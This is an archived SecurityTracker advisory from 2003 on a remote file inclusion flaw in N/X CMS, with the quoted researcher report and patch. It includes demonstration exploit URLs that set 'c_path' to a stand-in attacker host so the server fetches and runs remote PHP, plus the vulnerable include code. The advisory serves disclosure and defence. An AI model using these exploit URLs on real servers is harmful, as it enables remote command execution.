SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   N/X Vendors:   nxwcms.sourceforge.net
N/X Content Management System Include File Error Lets Remote Users Execute Arbitrary Commands on the Server
SecurityTracker Alert ID:  1005879
SecurityTracker URL:  http://securitytracker.com/id/1005879
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 2 2003
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2002 PreRelease 1
Description:   An include file vulnerability was reported in the N/X web content management system. A remote user can execute arbitrary commands on the system.

It is reported that the 'menu.inc.php', 'datasets.php', and 'mass_opeations.inc.php' scripts reference the '$c_path' variable but do not verify user-supplied values for that variable. A remote user can supply a value that points to a URL on a web server that the remote user controls to cause the server to include an arbitrary file of the remote user's choice. The arbitrary file can include arbitrary PHP code (including operating system commands) that will be executed on the target server.

Some demonstration exploit URLs (with associated attacker file URLs) are provided:

http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/

with

http://[attacker]/common/lib/launch.inc.php


http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/

with

http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php

Impact:   A remote user can execute arbitrary operating system commands on the target server with the privileges of the target server.
Solution:   No solution was available at the time of this entry. The author of the report has provided an unofficial patch, available in the Source Message and at:

http://www.phpsecure.org/

Vendor URL:  nxwcms.sourceforge.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Vendor Issues Patch) Re: N/X Content Management System Include File Error Lets Remote Users Execute Arbitrary Commands on the Server
The vendor has issued a patch.



 Source Message Contents

Subject:  N/X (PHP)


Informations :
Website : http://nxwcms.sourceforge.net/
Version : 2002 PreRelease 1
Problem : Include file

PHP Code/Location :
nx/common/cds/menu.inc.php :
-----------------------------------------------------------
[...]
	require_once $c_path."common/lib/launch.inc.php";
[...]
-----------------------------------------------------------

nx/common/dbo/datasets.php :
-----------------------------------------------------------
<?
	require_once $c_path."common/dbo/saveset.php";
	require_once $c_path."common/dbo/recordset.php";
	require_once $c_path."common/dbo/deleteset.php";
	require_once $c_path."common/dbo/updateset.php";
	require_once $c_path."common/dbo/insertset.php";
[...]
-----------------------------------------------------------

nx/common/lib/mass_opeations.inc.php :
-----------------------------------------------------------
<?
  require_once $c_path."common/lib/launch.inc.php";
  require_once $c_path."common/cds/menu.inc.php";
[...]
-----------------------------------------------------------

etc...

Exploits :

http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/ with :
http://[attacker]/common/lib/launch.inc.php


http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/ with :
http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php


etc...

Solution :
Add this line in bugged files :
-----------------------------------------------------------------
if (!file_exists($c_path."index.php")){ die("Path not found."); }
-----------------------------------------------------------------

A patch can be found on http://www.phpsecure.org .

More details :
In French :
http://www.frog-man.org/tutos/NX.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FNX.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n


_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous ! 
http://search.msn.fr/worldwide.asp


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC